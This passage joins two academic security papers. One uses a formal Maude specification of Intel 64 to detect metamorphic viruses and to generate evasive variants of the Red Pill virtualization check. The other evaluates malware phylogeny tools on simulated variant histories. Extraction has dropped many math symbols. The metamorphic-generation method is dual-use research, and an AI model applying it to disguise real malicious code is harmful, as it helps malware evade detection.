differing length that is semi-equivalent with respect to every variable except the instruction pointer. 
Clearly, this will not pose a problem for the metamorphic computer virus as long as there is no part 
of its program that is dependent on the value of the instruction pointer at a given point after the 
mutated code. 

 

Figure 1: Signature-based detection of a metamorphic computer virus, by application of equivalence-in-context. 
Instruction sequences  and  are semi-equivalent with respect to . Applying the result in Corollary 1 to  
and  reveals that in fact  and therefore  has been identified as equivalent to signature , resulting in 
detection of the virus. This method could result in a false positive as there may be a non-malware instruction 
sequence which is equivalent-in-context of some signature.

It is likely, therefore, that a code segment  of a suspect executable will be semi-equivalent to some 
signature   of a metamorphic computer virus. If it were possible to prove equivalence-in-context, 
i.e., that , where  is some code appearing immediately after  in the suspect executable, 
then it would be known that   was a successful match to   and detection of the virus would be 
achieved. (See Figure 1 for an illustrated example.) Another possible application of equivalence-in-
context  would  be  in  the  scenario  where  dynamic  analysis  was  computationally-expensive. 
Equivalence-in-context can be proven using only static analysis, and therefore could limit the use of 
dynamic analysis. 



Detection of Virtualization by Metamorphic Code Generation

In the previous sections we have described a methodology for detecting metamorphic malware using 
a formal algebraic specification of the Intel 64 assembly programming language. In this section we 
will  show  how  the  same  specification  could  be  used  to  detect  virtualization-based  malware. 
Previously, we used the specification to prove that different generations of a metamorphic code were 
equivalent, i.e., we used reductions in Maude to simplify an Intel 64 instruction sequence to a term 
denoting the state of the computer after executing that instruction sequence. Here, we will show how 
we can essentially do the opposite: we can specify some end-condition for the state after executing 
some  sequence  of  instructions,  and  using  Maude’s  built-in  search  function,  find  sequences  of 
instructions which satisfy that end-condition. 

This  is  applicable  to  virtualization-based detection as  follows.  Suppose we have some Intel  64 
instruction  sequence  which,  when  executed,  can  highlight  the  presence  of  virtualization-based 
malware.  Naturally,  virtualization-based malware  will  try  to  detect  this  instruction by  signature 
matching,  as  part  of  a  detection  counter-measure.  Therefore,  it  would  be  useful  to  be  able  to 
generate  automatically  sequences  of  instructions  which  we  know  are  equivalent,  and  therefore 
would be difficult for the malware detect. In other words, we can use metamorphism to improve the 
performance of the detection method.

We can specify an end-condition in which the detection instruction sequence is stored in memory. 
Then, by applying the Maude search functionality,  we can find sequences of instructions which 
generate this instruction sequence. The advantage of using the Intel 64 specification in Maude is that 
it is formal, and so any instruction sequence generated is automatically proven to work. 

We will now describe the more technical details of this application of the Intel 64 specification. 

Virtual Machine Rootkits

Virtual machine rootkits can be used to force the user to use an operating system that executes 
within a virtual machine (Rutkowska, 2004, King et al.., 2006, Rutkowska, 2006, Garfinkel et al.., 
2007). The advantages to the potential attacker are obvious; the user would be oblivious to any 
malicious programs executing outside the virtual machine. Rutkowska describes  an approach to 
detection  of  virtualized  malware  from  within  the  virtualized  operating  system,  based  on  the 
execution of an Intel 64 assembly language instruction called SIDT   (Rutkowska, 2004). When 
executed,  this  instruction  stores  the  contents  of  the  interrupt  descriptor  table  register  into  the 
destination operand . The value of  varies depending on whether the SIDT instruction has been 
executed inside or outside a virtual machine, and therefore detection is possible. This method is 
called Red Pill.

However, this detection method is not always guaranteed to work, as the user’s interaction with the 
operating system can be controlled and manipulated in order to avoid detection using methods akin 
to Red Pill.  King et al describe a counter-measure to Red Pill based on emulation (King et al.., 
2006).  The  virtual  machine  monitor  (VMM),  which  controls  execution  of  the  virtual  machine, 
detects when the Red Pill executable is being loaded into memory, and sets a breakpoint to trap the 
execution of SIDT. When the breakpoint is reached, the VMM will emulate the instruction, setting 
the value of the destination operand of SIDT to a value not indicating detection. The authors note 
that  this  detection counter-measure could be defeated by a program   that  generates the SIDT 
instruction dynamically. 



At this point the writers of the malware have two options: they can re-write the virtualization-based 
malware so that it can detect , as well as Red Pill, by static analysis. Alternatively, they can trace 
the execution of programs in order to detect by dynamic analysis any occurrence of Red Pill. King et 
al note that the latter could be computationally expensive, adding overhead which might result in 
detection by timing methods (see, e.g., (Garfinkel et al.., 2007)). 

Suppose that the former option were chosen. Then, all the malware writers need do in order to avoid 
detection  of  their  malware  is  to  adjust  their  program to  detect   as  well  as   and  Red Pill. 
Therefore,  from the  perspective  of  the  writers  of  the  Red  Pill  program,  a  means  of  automatic 
generation of programs that have the same behaviour as Red Pill would be desirable. In other words, 
we would like to use a metamorphic version of Red Pill, that changes its syntax at run-time in order 
to evade detection. Clearly, metamorphic engines as seen in metamorphic computer viruses could be 
used, but they are not reliable, in that the syntactic variants generated are not guaranteed to preserve 
the semantics of the original program. Therefore, we propose a solution to this problem based on our 
formal  description  of  Intel  64  assembly  language,  which  could  be  employed  as  a  means  of 
generating Red Pill variants before or during run-time.

Detecting Virtualization using the Intel 64 Specification

As was discussed in the section on specifying Intel 64, the Maude specification of Intel 64 denotes a 
term rewriting system. The usual application of such a system is to apply equations and rewrite rules 
in order to reduce terms to some terminal form, i.e., to rewrite terms until they can no longer be 
rewritten. However, it is also possible to perform a search of the rewriting space of a term rewriting 
system in order to determine whether it is possible to reduce one term to another, and if there are 
non-deterministic  aspects  to  the  term  rewriting  system,  whether  there  are  multiple  ways  of 
performing such a reduction.  It  is  also possible to  test  for some conditional value,  and find all 
rewriting routes that lead to a term satisfying that condition. 

Using the Maude specification of Intel 64, it is possible to rewrite a term such as S[[eax]], which 
denotes the value of  eax in  some store  S,  using a  variety of rewrite  rules,  and check using a 
breadth-first  search  of  the  term  rewriting  system  whether  a  condition  such  as  S[[eax]] = 
"sidt" is true, which says that the value of  eax in some store  S is equal to  "sidt". In other 
words, it is possible to create a term rewriting system in Maude that constructs programs based on 
rewrite  rules,  and  search  the  rewriting  space  for  constructed  programs  that  are  satisfy  the 
requirement that "sidt" is stored in some variable. Figure 2 shows such a term rewriting system 
that generates different ways of constructing a program that satisfies the condition that S[[eax]] 
= "sidt".  Therefore, it is possible to create a metamorphic code engine based on our formal 
specification of Intel 64 in Maude. 

 



Figure 2: A metamorphic engine based on the Maude specification of Intel 64. The four lines beginning with rl are 
rewrite rules that construct programs by appending an instruction to an instruction sequence. The search of the 
rewriting space then reveals the sequence of rewrite rule applications which culminated in an equivalent program. 
This sequence denotes the program, and therefore the syntactic variant can be inferred.

The previous example also shows how we can automatically generate  programs that  assign the 
number corresponding to the opcode of SIDT  to some variable, e.g., register eax. Therefore this 
technique could be used to generate automatically syntactically-mutated forms of a Red Pill program 
in order to evade detection of the Red Pill program by the VMM. This approach is advantageous to 
applying  a  metamorphic  engine  from  a  computer  virus,  which  tend  to  be  buggy,  because  the 
formality of the Intel 64 specification assures that any metamorphic code generated satisfies a given 
condition. If that condition is equivalence with respect to some variables, then we can generate 
syntactic variants of code which preserve semantics with respect to those variables.

A Note on Tractability

We described above how term rewriting systems can be specified in Maude, and used to generate 
metamorphic code. It is interesting to note that certain term rewriting systems, such as the one in 
Figure 2, there are an infinite number of terms satisfying the condition we have specified. Since 
each of these is generate by applying the rewriting rules in different sequences, we know that the set 
of terms satisfying the condition is infinite and recursively enumerable. Therefore, if we directed the 
Maude term rewriting engine to enumerate all the different terms satisfying a condition, the engine 
would never halt. 

Therefore,  it  may appear that tractability is  an issue in this regard.  However,  our aim is not to 
enumerate all of the different metamorphic programs that have the desired property, but to generate 
as many as we require in order to evade the detection counter-measures of the virtualization-based 
malware. For example, in Maude we can specify that we want only the first  programs that have 
the desired property. For example, we specified the rewriting system in Figure 2 in Maude version 
2.3, and produced 1,000 programs satisfying the condition of assigning "sidt" to variable eax in 
approximately 0.36 seconds (Webster & Malcolm, 2008). (The computer used was a Linux PC with 
a 3.2 GHz Intel Pentium 4 CPU and 1 GB of RAM.)

Therefore, it is practical to use Maude to generate programs with different syntax in order to evade 
the detection counter-measures employed by virtualization-based malware. In addition, this method 
is  based on a formal specification of Intel  64,  and therefore each of the generated programs is 
formally verified by Maude as it is generated.

Conclusion

In this paper we have demonstrated the applicability of formal algebraic specification to detection of 
metamorphic and virtualization-based malware. In order to improve the detection of metamorphic 
code, we have extended the applicability of equivalence-in-context to all programs in imperative 
programming languages through a redefinition of   and a new proof of Lemma 1. To show the 
applicability  to  metamorphic  computer  virus  detection,  we  gave  two  worked  examples  of 
equivalence-in-context in action, and discussed the role of a formal model of the Intel 64 assembly 
language within the practical  setting of anti-virus software.  Finally,  we gave a proof-of-concept 
system for generating metamorphic code in order to assist detection of virtualization-based malware 
by disabling detection counter-measures such as those used in the SubVirt system described by King 
et al (King et al.., 2006). 



Formal and Informal Approaches

Most of the approaches to metamorphic computer virus detection described above are based on 
some description of the syntax and semantics of a programming language. (The only exception is 
the  approach  of  Yoo  & Ultes-Nitsche (I.  S.  Yoo & Ultes-Nitsche,  2006,  I.  Yoo,  2004)  to  the 
detection of metamorphic computer viruses using neural networks, in which the semantics of the 
program being analysed are completed ignored, as the program code is treated only as data.) Perhaps 
then, the most distinctive feature of our approach to metamorphic computer virus detection is that 
the description of the programming language is both explicit and formal, i.e., it is based on a formal 
specification of the syntax and semantics of an assembly programming language written in a formal 
specification language. In contrast,  many of the other approaches to detection, perhaps with the 
exception  of  the  work  by  Christodorescu  et  al (Christodorescu  et  al..,  2005),  are  informal.  For 
example, in control-flow analysis (e.g., (Mohammed, 2003, Lakhotia & Mohammed, 2004)), the 
flow of control is extracted from a program based on an implicit assumption about the way that 
looping  instructions  work,  i.e.,  they  update  the  value  of  the  instruction  pointer.  Based  on  this 
assumption, the control-flow graph is constructed. Another example is Bruschi et al’s approach to 
program rewriting and normalisation, in which a program is translated into a meta-representation 
based on an  implicit  knowledge of  the behaviour of  the  program’s  instructions (Bruschi  et  al.., 
2006a). 

The advantage of a formal specification of the virus’s programming language is that it is possible to 
prove properties of a  section of code,  which in turn allows for the development of methods of 
analysis which themselves are formally verifiable. A good example is the proofs of the equivalence 
of viral code in the section on static and dynamic analysis. Assuming that we know that the implicit 
formal specification in Maude is accurate, then given the existence of reduction as proof, then by 
performing reductions within Maude we can prove a property of a program (in this example, its 
equivalence to another program) using a number of reduction in Maude. Checking the accuracy of 
the  formal  specification  is  equivalent  to  checking  the  accuracy  of  the  axioms within  a  logical 
system, that is, we formulate the formal specification of the Intel 64 assembly language with truths 
(i.e., axioms) that we hold to be self-evident. For example, in the specification of the MOV   
instruction which assigns the value of variable  to variable , then we specify that this the value of 
variable  after executing MOV  as equal to the value of  before we executed the instruction 
using the following equational rewrite rule, which expresses this truth formally: 

eq S ; mov V,E [[V]] = S[[E]] .

The danger in using an implicit and/or informal description of the programming language is that our 
assumptions are not made clear, and therefore any detection method or program analysis based on 
the description may not do the job it is designed to do. 

However, there is an obvious disadvantage to using a formal approach to program specification, 
verification and analysis. In order to reap the rewards of a formal specification of a programming 
language,  first  we  must  create  it,  which  itself  can  be  a  time-consuming,  but  nevertheless 
straightforward,  process.  For  example,  in  order  to  define  the  syntax  and  semantics  of  a  10-
instruction subset of the Intel 64 assembly language instruction set for the proofs in the section on 
static and dynamic analysis, a Maude specification of around 180 lines had to be produced (Webster 
&  Malcolm,  2008).  The  main  difficulty  was  not  in  the  writing  or  debugging  of  the  Maude 
specification,  but  rather  in  the  translation  from  the  informal  and  implicit  definitions  of  the 
instructions given in the official Intel literature (see (Intel Corporation, 2007)). 



Once  created,  though,  a  formal  specification  of  an  assembly  programming  language  could  be 
applied  to  a  number  of  different  problems in  the  field  of  computer  virology.  For  example,  the 
approach of Lakhotia and Mohammed to control- and data-flow analysis resulted in a rewritten 
version of a program called a zero form (Mohammed, 2003, Lakhotia & Mohammed, 2004). The 
specification of Intel 64 could be used to prove the equivalence of the original program and its zero 
form through dynamic analysis in manner of the section on static analysis. Another example would 
be in the code normalisation procedure described by Bruschi et al, in which the code is transformed 
into  a  meta-representation (Bruschi  et  al..,  2006a).  A formal  specification  of  the  syntax  and 
semantics of the meta-representation could be written in Maude in a similar manner to the Maude 
specification of Intel 64, and the translation of the Intel 64 into the meta-representation could be 
then formally verified through proofs that an instruction and the translated form have the same effect 
on a generalised store. 

Future Work

Combination With Other Approaches

An obvious further application of the methods for computer virus detection described in earlier 
sections, and in (Webster & Malcolm, 2006), is to combine them with other means of metamorphic 
computer  virus  detection.  For  instance,  the  formally-verified  equivalent  code  library  described 
earlier may not always result in reduction of every generation of a metamorphic computer virus to a 
normal  form.  However,  the  overall  syntactic  variance  of  the  set  of  all  generations  may  be 
significantly reduced, so that another technique may be used to enable detection. For instance, the 
neural network-based approach of Yoo & Ultes Nitsche (I. S.  Yoo & Ultes-Nitsche, 2006, I.  Yoo, 
2004) relies on the identification of similar code structures, and therefore may be assisted by an 
equivalent code library.

Analysis of Virtualization-based Malware

As described in the section on specifying Intel 64, a subset of the Intel 64 instruction set has been 
specified  using  algebraic  specification  in  Maude.  Expanding  the  current  specification  of  10 
instructions  to  the  full  instruction  set  would  provide  a  way  of  formally  proving  properties  of 
programs written in the Intel 64 assembly language. In addition to this, the formal specification is 
executable, and therefore once we have fully described the syntax and semantics of the language, we 
obtain an interpreter “for free” (Meseguer & Roşu, 2007). The development of such a specification 
is well within the reach of specification languages like Maude (Meseguer & Roşu, 2007, Goguen & 
Malcolm, 1996), and therefore we propose the use of Maude for the formal proofs on assembly 
language programs, e.g., (Webster & Malcolm, 2006).

In addition, a specification in Maude of the full Intel 64 instruction set would be a virtual machine 
(in a very precise sense),  because it  would simulate an Intel 64 processor. Whilst  the advanced 
features of virtual machine software (e.g., full operating system simulation), such as would be more 
difficult to specify, the Maude specification of the whole instruction set would enable the simulation 
of  virtualization-based  malware  at  a  low-level  of  abstraction  without  major  modification.  For 
example, we could simulate the modification of the boot sector, a critical phase of the infection 
process of some virtualization-based malware (e.g., SubVirt (King et al.., 2006)).
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Evaluation of Malware Phylogeny Modelling Systems
Using Automated Variant Generation

Abstract
A malware  phylogeny  model  is  an  estimation  of  the  derivation  relationships  between  a  set  of  
species  of  malware.   Systems  that  construct  phylogeny  models  are  expected  to  be  useful  for  
malware analysts.  While several different phylogeny construction systems have been proposed,  
little is known about effective ways of evaluating and comparing them.  Little is also known about  
the consistency of their results on different data sets, about their generalizability across different 
types of malware evolution, or of what measures are important to consider in evaluation.  This  
paper explores these issues through two distinct artificial malware history generators. A study was  
conducted using two phylogeny model construction systems.  The results underscore the important  
role that model-based simulation is expected to play in evaluating and selecting suitable malware  
phylogeny construction systems.

Introduction
Of the quarter million malicious programs known to anti-virus companies, the clear majority of 
them are variants of some previously generated program (Gostev, 2007).  That is, malware authors 
modify, reuse, maintain, and tweak.  They are also known to share code, use libraries, and employ 
generators  and  kits.   These  evolution  facts  create  derivation relationships  between  malware 
samples, and there are said to be a variety of  families of related  species.  This creates a need to 
identify, understand, relate, classify, organize, and name the various species and families.

In biology, a “phylogeny” is the (true) derivation relationships between a set of species.  The actual 
phylogenetic relationships are rarely, if ever known in biology.  Rather, they must be inferred or 
“reconstructed”  (Nakleh,  Sun,  Warnow,  Linder,  Moret  and  Tholse,  2003)  through  painstaking 
sleuthing and analysis, often with the help of automated systems that can generate estimated models 
of the phylogeny.  Similarly, the phylogenetic relationships are rarely known for malware, and so 
the phylogenetic models likewise need to be constructed.  Tools to do so are expected to  help 
malware analysts.  

Several malware phylogeny model constructors have been proposed in the literature to meet this 
specific goal.  Little is known, however, about the suitability of such phylogeny modelling systems, 
and little work examines the problem of adopting suitable evaluation methods.  The evaluations we 
are aware of assess a single constructor, are frequently informal, and operate on a limited and ad 
hoc collection of  evolution  histories  (test  subjects).   One question  of  particular  importance   is 
whether or not tests on limited sets of malicious samples can reasonably be considered sufficient for 
evaluation  since:  (a)  phylogeny  constructors  may  produce  variable  results  depending  upon the 
specific test set, and (b) they may be sensitive to the class or type of malware evolution present in 
the test set.  Thus important questions are unanswered regarding such evaluations:  How important 
is random sampling? What measures of goodness are suitable?  What evaluation approaches are 
helpful?

This  paper  explores  answers  to  such  questions  using  a  quantitative,  model-driven  simulation 
approach to evaluation.  Models of malware evolution are proposed, and then used to drive an 
evolution  simulation  that  constructs  artificially-generated  reference  corpora  consisting  of  a 
collection of related variants plus an explicit record of their relationships (i.e., the true phylogeny). 



Two forms of evolution models are employed:  a straightforward code-mutation based model that 
simulates evolution by fine-grained program modification, and a feature-based model that simulates 
a  coarser evolution by addition of new features among family members.   These models,  while 
limited, are utilized to begin exploring the questions posed above.

A study was conducted using model-based reference corpora generated by these two evolution 
simulators.  Reference sets were generated, and the outputs of two different phylogeny construction 
systems were compared to the reference phylogenies.  Difference measures were examined.  The 
results  show high variance between samples;  the variance calls into question the sufficiency of 
evaluation phylogeny model constructors using limited reference corpora.  The results of the study 
also  highlight  the  importance  of  considering  accuracy  versus  stability  or  reliability  in  the 
constructor.  Finally, the study illustrates the important role that the quantitative approach may play 
in evaluating phylogeny model construction systems.

Problems in evaluating malware phylogenies are reviewed, the evaluation approach through model-
based  artificial  evolution  systems  is  introduced,  and  then  the  study  using  these  is  described. 
Conclusions follow.

Problems in Evaluating Malware Phylogeny Model Constructors
A variety of approaches to constructing malware phylogeny models have been proposed in the 
literature.   Table  1 summarizes  known examples using the phylogeny constructor  taxonomy of 
Karim, Walenstein, Lakhotia, and Parida (2005).  The taxonomy distinguishes constructors on the 
basis of three properties: (1) what features of the programs they examine, (2) the class of graphs 
they generate, and (3) the construction algorithm used to generate the graph. 

System Features Output Type Generation Algorithm Evaluation

Goldberg, Goldberg, 
Phillips, & Sorkin (1998)

20-grams on 
bytes

directed 
acyclic graph

Variants of minimum phyloDAGNone

Erdélyi & Carrera (2004) call graph binary tree graph similarity + unspecified 
clusterer

Demonstration

Karim et. al (2005) n-perms on 
operations

binary tree program similarity + UPGMA 
clusterer

Informal 

Ma, Dunagan, Wang, 
Savage, & Voelker  (2006).

instruction 
sequences

binary tree exedit distance + agglomerative 
clustering

Informal

Wehner (2007) bytes binary tree normalized compression distance 
+ unspecified clusterer

Semi-formal 

Table 1: Malware phylogeny systems and their evaluation

The rightmost column of Table 1 indicates the type of evaluations reported in the literature.  In that 
column, “Demonstration” indicates mere demonstration, i.e., that a model can be constructed, but 
no special consideration is given to the sufficiency of the data set, and no formal comparison to a 
reference phylogeny is provided.  “Informal evaluation” is a Demonstration with some informal 
discussion about the accuracy of the results, such as comparing  ad hoc collections of graphs to 
expected results, or to labels generated by external classifiers. The most thorough evaluation of 
phylogeny  constructors  in  the  field  is  arguably  that  of  Wehner  (2007).   Wehner  informally 



evaluated the accuracy of the resulting trees, and quantitatively and formally examined a derived 
classification heuristic which only evaluates restricted properties of the trees.  For this reason, it is 
listed as a “Semi-formal” evaluation.

Table 1 makes it clear that no comprehensive assessment is known for any of the systems in the list. 
While the bar for evaluation is low in relation to that normally desired in science and engineering, it 
must be acknowledged that the question of how to evaluate such systems has not yet been seriously 
addressed.

At least two different broad classes of approaches can be pursued to evaluate malware phylogeny 
model  constructors:  construct  one  or  more  reference corpora  from (1)  actual  malware  samples 
collected, or (2) from artificially generated samples.  In either case, the phylogeny models created 
by the modelling systems are compared against the reference, i.e., correct data set.  In the former 
case, special sets of samples are collected through some manner and their actual relationships are 
determined through investigation, possibly through knowledge of their construction.  In the latter 
case, a model of malware evolution is used to drive a simulation which not only generates the data 
set, it records the actual derivation relationships.  So far in malware phylogeny research, the former 
is typical, whereas in biology, the simulation based approach is the de facto standard (Nakleh et al., 
2003).  Many problems are confronted with either approach.  Several issues for the hand-crafted 
reference corpora approach are reviewed below; these will be used to motivate our exploration of 
the  model-based  simulation  approach.   Since  phylogeny  model  evaluation  has  been  studied  in 
biology, points of comparison are offered when relevant.

Measurement and Comparison Problems

A key issue in evaluating phylogeny construction systems is how well their outputs correspond to 
the true derivation relationships.  Several studies in the field have addressed this by assessing how 
well the samples group in relation to prior expectations.   In biology, this has been measured by 
comparing graph distances.  The so-called “Nodal Distance” (Bluis and Shin, 2003) is a simple 
measure for comparing arbitrary graphs by measuring the sum of the differences in path lengths two 
graphs.  Calculation is straightforward: the differences in the path lengths between each pair of 
nodes in the graphs are summed.  The “Robinson-Foulds” distance (Robinson, and Foulds, 1981) is 
also popular, but is restricted to trees and is more computationally expensive.  Any number of other 
graph distance or similarity measures might possibly be used.

Whatever graph measure is selected, one inevitable concern is how to interpret the results of the 
measures.  In the ideal case the true phylogeny is constructed for any imaginable evolution history. 
Since the ideal is unlikely to ever be met, the issue reverts an engineering concern of managing 
trade-offs.   One traditional  concern is  that,  on average,  the difference between the  constructed 
models  and  the  true  phylogeny  should  be  as  small  as  manageable.   Comparing  averages  of  a 
distance  metric  might  therefore  be  a  typical  design  in  an  evaluation.   Then,  typically,  the 
experimenter seeks evidence that there is a statistically significant difference between two different 
model constructors (i.e., the two different experimental treatments).  Nonetheless, if two systems 
have similar averages but one has much higher variance in result quality, or occasionally generates 
extremely poor  results,  the  user  may have reasons  not  to  choose  it.   That  is,  average distance 
captures only a portion of the concerns that a typical user is likely to have.  Without data to consult, 
however, it is not possible at this time to know how important the variance issue is.



Difficulty of Using Authentic Data Sets

One of the established problems in phylogeny constructor evaluation in biology is the difficulty of 
constructing the reference corpora that can be used to compare the constructed phylogenies against 
(Rambaut and Grassly, 1997).  The true derivation relationships may not be known and, indeed, the 
techniques one might use to try to establish such a reference model may involve the very phylogeny 
reconstruction techniques under evaluation.  In order to advance the field past case studies it is 
desirable  that  multiple  reference  corpora  be  constructed;  moreover  the  mechanics  of  statistical 
hypothesis testing make it desirable that the reference models are proven to be selected randomly 
from  a  population  of  family  histories  with  common  evolution  characteristics.   The  need  for 
representative  samples  of  reasonable  sizes  exacerbates  the  problem of  hand-constructing of  the 
reference models.

This  problem may be addressed,  in  part,  through aggregation and sharing  of  effort.  It  may be 
feasible to establish standardized, shareable reference data sets, complete with carefully checked 
derivation information.  This approach is similar in spirit to the TREC efforts of text retrieval field 
(Buckley, Dimmick, Soboroff and Voorhees, 2007), as well as to benchmarking efforts in software 
engineering (Sim, Easterbrook & Holt, 2003). In this vein, standardized malware data sets could be 
constructed,  much  like  the  WildList  effort  for  anti-virus  testing  (Marx  &  Dressman,  2007). 
Unfortunately, the fact that malware is involved may add special challenges to sharing authentic 
reference corpora:  sharing malicious  samples is  notoriously difficult  in practice,  and introduces 
many legal and safety challenges.  While shareability of reference models is perhaps not strictly 
required  for  the  field  to  advance,  if  they  cannot  be  shared  then  key  pillars  of  science  and 
engineering  are  likely  to  be  affected  in  practice:  independent  repeatability  and  verification  of 
studies and fair comparison between systems.   We know of no instance of malware phylogeny 
modelling system  evaluators sharing their data sets to enable direct comparison of systems.

Variation and Idiosyncrasy in Malware Evolution

In biology it may be frequently reasonable to assume a uniform and stable set of mechanics and 
characteristics for evolution.  The same sorts of transcription errors may occur, for example, in large 
numbers of species over long periods of time.   Malware evolution may not enjoy stability and 
universality to the same degrees.  For example, certain malware families may evolve in special 
ways due to the specific tools the malware author employs,  the particular ways that the author 
attacks the defence infrastructure and, in general, the constantly and rapidly changing nature of the 
malware/anti-malware  battle.   Further,  mutants  can be  generated  automatically  through various 
forms of polymorphism and metamorphism (Beaucamps 2007).

If one can expect that malware evolution be highly variable and idiosyncratic, it creates additional 
problems for the approach through hand-crafted reference sets.  Specifically,  it calls into further 
question the sufficiency of a small or fixed number of reference sets, as they may fail to represent 
the overall and varied characteristics of malware evolution.

The Approach Through Artificial Evolution Histories
The use of  artificial  evolution histories  can address  many of  the  problems listed  in Section 2. 
Consider the efforts of Nakleh et al. (2003), or Rambaut et al. (1997), for example.  They construct 
reference  models  using  simulations  of  genetic  evolution.   In  their  approaches,  they  randomly 
selected (i.e., created) evolution paths and simulated mutation events to match those paths.



A  similar  approach  may  be  taken  in  creating  artificially-constructed  malicious  reference  sets. 
Several benefits may accrue from the use of simulations based on evolution models:

1. Large  numbers of  reference sets  may be feasibly generated.   This reduces the threat  to 
external validity posed by using only a small number of hand-constructed reference sets, 
while enabling the measuring of both mean performance and variance.

2. The characteristics of the evolution histories can be tailored to match the type of evolution 
history the user is expecting.  Thus, unlike biology in which a modeller may seek to find an 
accurate  and  general  model,  malware  phylogeny  constructor  evaluators  may  use  only 
limited-purpose but relevant models.

3. If the simulator creates benign samples, or uses existing malware samples in benign ways, 
the threat in evaluation can be controlled, and it may be simpler to share the outputs or the 
simulator itself.

While  these are clear  benefits  for  the  artificial  history approach,  the  approach does  suffer  one 
important drawback: in order to construct artificial malware evolution histories, suitable models of 
evolution are needed so that  an evolution simulator  can be constructed.   This  simulator  would 
generate the required reference data, namely, a corpus of samples related through derivation, and 
the reference derivation graph.  Thus a question is raised as to what models could be used.

One approach to answering this question is to adopt a goal of creating an ideal malware evolution 
model that captures all important characteristics of known evolution, and could thus serve as an 
effective proxy for reality.  While this is a daunting task well beyond the scope of this work, it 
could perhaps be approached incrementally.   However it  is  not clear that a comprehensive and 
authentic  model  is  absolutely  required  in  order  to  create  pragmatically  useful  evaluations  of 
phylogeny model construction systems.

From a pragmatic  point  of view, a  malware analyst  may have only a certain  class of malware 
evolution histories to deal with.  In terms of creating a model phylogeny, the analyst's main concern 
is the selection of a suitable system to use on her particular data. In addition, at the moment there is 
no reason to believe that a singular phylogeny model construction system can exist that performs 
optimally on all classes of malware evolution.  Said another way, at the moment we can reasonably 
expect that every existing phylogeny construction system will be associated with some classes of 
malware evolution for which it performs better than other classes.  Moreover, the best tool for the 
analyst's  job may actually be sub-optimal with respect to the full panoply of malware evolution 
classes.  Thus to serve the analyst's practical problem, a comprehensive evolution model is not only 
not required, it may not be as effective as a restrictive evolution model that matches her specific 
situation.

Another approach to the challenge, therefore, is to aspire not to create an ideal evolution model, but 
to  produce  a  useful  toolkit  of  restricted  but  useful  artificial  evolution  systems  such  that  each 
captures essential characteristics of some class of malware evolution.  The restricted models will be 
effective in the case that they are relevant to some non-empty set of analyst situations.  Because 
analyst situations differ, a beneficial quality of the resulting simulator is that it can be in some way 
parametrized or specialized to customize the artificial  evolution to match the analyst's  situation. 
Note that a new matching problem is created: the analyst  must select  the evolution model  that 
matches her problem best.  One possible way of easing the matching problem is to construct models 
with clearly recognizable characteristics—that is, they generate evolution histories that are in some 
sense prototypic for a class of evolution types.  If a given phylogeny construction system performs 



well on one of these, the potential user may be able to choose the system for which the prototype 
seems to match known characteristics best.

The preceding analysis produces a number of research questions that might be explored empirically, 
including:

1. How variable are the outputs of malware phylogeny constructors?  If they vary greatly, it 
may severely limit the value of small numbers of hand-crafted reference sets.

2. How sensitive are the outputs to different classes of malware evolution?  If the types of 
changes have significant effects, it may suggest that specialized models be pursued instead 
of waiting for a comprehensive, idealized model of malware evolution to be developed.

In order to explore these one must have some models of evolution from which to build simulators. 
We  propose  here  two  models  that  are  intended  to  capture  some  important  but  different 
characteristics of malware evolution.  Each of these evolution models are inspired by knowledge 
about software evolution, in general, and  malware evolution, in particular.  Neither are intended to 
be comprehensive models of all  different  types  of malware evolution.   While these are limited 
models, they are expected to highlight the effects of different evolution classes on the phylogeny 
model constructors.

Non-Uniform, Mutation-based Evolution Model

One  of  the  ways  of  generating  simulated  biological  evolution  is  to  develop  a  model  of  the 
mechanics of genetic change (Rambaut et. al 1997); transcription errors, for example, are one  of 
the ways that mutations are known to occur.  A similar approach in malicious software is to start 
with an authentic sample of malware and then perform a sequence of code-mutation operations on 
it, recording the derivation.  Variations of this approach have been described for the purpose of 
testing malware detectors (Filiol, Jacob, and Le Liard, 2007; Christodorescu and Jha, 2004).  One 
advantage is that a potentially large selection of initial seed programs can be selected as authentic 
starting points for the artificial evolution history.

When considering a mutation-based model, from an evolution history point of view perhaps the 
important questions are: which mutations does one perform, and what characteristics should the 
resulting graph of derived samples have as a whole?  One potential approach treats the mutation as 
being the result of a probabilistic generator that uses a fixed set of mutation operations (semantics-
preserving transformations, random add/delete/change operations, etc.).  Control of the evolution 
class would amount to selection of the set of mutations and their associated probabilities.  However 
it  may not be obvious how to use such a system to tailor such systems to match the evolution 
characteristics desired.  For example, it has been pointed out that ordinary software evolution is 
non-uniform  in  the  sense  that  changes  between  versions  are  frequently  discontinuous  and 
characterized  by periods of  small,  localized change interspersed with  periods of  rapid  or  more 
global change (Wu, Spitzer,  Hassan and Holt,  2004; Gorshenev and Pis'mak,  2004).  A similar 
concern exists in biology in which simulations are careful to follow known properties of evolution 
(Harding, 1971).  If some malware evolves along similar principles a phylogeny model constructor 
may  be  misleading  if  it  generates  artificial  evolution  histories  in  which  the  change  rates  are 
relatively constant, even if the underlying mutations are randomized because of the probabilistic 
generation process.



To address this issue we propose a mutation model that is simple and yet can generate artificial 
evolution sets that alternate large and small changes in ways that are consistent with a mixture of 
probabilistic modification.  The model assumes a single mutation type:   replacement of either a 
“small” or a “large” amount of code with new, randomly-generated pieces of code.   The model 
assumes small changes between generations happen at a particular ratio to the number of large 
changes, i.e., a “Small-to-Large” ratio.  It also assumes that the small changes are all smaller than a 
given threshold “Small Threshold”, and the large changes all larger.  Although the resulting changes 
sizes  will  have  a  bimodal  distribution  instead  of  a  power  function  distribution  observed  by 
Gorshenev et al (2004), the changes  will exhibit the critical property of non-uniformity.

Feature Accretion Model

One property of software evolution is commonly discerned: new features creep into code as it is 
incrementally modified.  In malware, this is known to occur as a malicious code base matures and 
the developers add new exploit or payload capabilities (Infection Vectors, 2004).  An evolution 
simulator for this type of evolution would need to be able to add realistic new code; perhaps in the 
ideal case, it would automatically create the features, exploits, and payloads that a real malicious 
program writer would create.  One would, of course, expect it to be extremely difficult to create 
such an automated evolution system (else malware writers might already be using such systems). 
However it is possible to simulate some facets of this type of evolution history using an existing 
mature code base as a starting point.

The idea is to dissect a mature program into sets of independent features and then generate artificial 
evolution histories that consist entirely of subsets of the original program, with each distinct subset 
defined by a different set of features.  More formally, assume a program M can be decomposed into 
a set F = { f

1
, f

2
, ..., f

k
 } features for some k.  The power set P(F) of all feature sets of F is a lattice 

of size 2k.  Assume that each feature f
i
 describes one potential behaviour of M, so that the behaviour 

of a program with a subset of F is defined by the union of the features.  Then define a derivation 
path D = (d
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1
 such that each d
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non-empty and the intersection of n and d
i 
is empty.  That is each evolution step adds one or more 

